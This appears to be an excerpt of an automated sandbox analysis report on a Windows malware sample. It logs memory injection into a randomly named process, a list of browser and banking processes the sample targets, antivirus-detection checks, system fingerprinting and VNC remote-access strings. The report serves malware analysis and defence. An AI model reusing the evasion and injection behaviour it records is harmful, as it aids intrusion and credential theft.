Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1090000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1091000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1092000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A00000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A01000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A52000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 780000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 781000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 782000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 7D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 920000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 921000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 922000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 972000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 860000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 861000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 862000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8B2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 840000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 841000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 842000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 892000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B12000	Jump to behavior

Source: C:\Windows\apppatch\svchost.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C86370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01256370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01056370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	9_2_00A36370

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File opened: CA HIPS KmxAgent	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File opened: Agnitum Outpost firewal \pipe\acsipc_server	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csi	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	File opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.dat	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Window found: AVP NULL ____AVP.Root	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened: CA HIPS KmxAgent	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened: Agnitum Outpost firewal \pipe\acsipc_server	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csi	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	File opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.dat	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Window found: AVP NULL ____AVP.Root	Jump to behavior

Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000000.2516842458.0000000001670000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000000.2519141431.0000000001470000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000000.2521690463.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: UMwpXhA46R.exe, UMwpXhA46R.exe, 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, UMwpXhA46R.exe, 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000000.2516842458.0000000001670000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000000.2519141431.0000000001470000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000000.2521690463.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000000.2516842458.0000000001670000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000000.2519141431.0000000001470000.00000002.00000001.00040000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000000.2521690463.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: UMwpXhA46R.exe, 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, UMwpXhA46R.exe, 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comavast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comgoogle.comgoogle.comDnsapi.dllDnsQuery_ADnsQuery_UTF8DnsQuery_WQuery_Mainws2_32.dllgetaddrinfogethostbynameinet_addrqwrtpsdfghjklzxcvbnmeyuioa1676d5775e05c50b46baa5579d4fc7;%s%sMozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)/login.php6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9100016d3ad29879a90b4dd1b4f76e82166ca3\....\ntdll.dllZwQuerySystemInformationGlobal\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}fuckGlobal\HighMemoryEvent_%08xc:\windowsc:\windows\explorer.exeShell_TrayWnd

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00412FF0 cpuid

0_2_00412FF0

Source: C:\Windows\apppatch\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00402240 CreateFileA,WriteFile,WriteFile,GetSystemTimeAsFileTime,WriteFile,CloseHandle,

0_2_00402240

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00403900 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,

0_2_00403900

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C74920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,IsUserAnAdmin,IsUserAnAdmin,WriteFile,WriteFile,GetHandleInformation,CloseHandle,

2_2_02C74920

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_004033A0 GetVersionExA,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,

0_2_004033A0

Remote Access Functionality

Contains VNC / remote desktop functionality (version string found)

Source: UMwpXhA46R.exe	String found in binary or memory: RFB 003.006
Source: UMwpXhA46R.exe, 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: UMwpXhA46R.exe, 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: UMwpXhA46R.exe, 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: RFB 003.006
Source: UMwpXhA46R.exe, 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe	String found in binary or memory: RFB 003.006
Source: svchost.exe	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: RFB 003.006
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: $BRFB 003.006
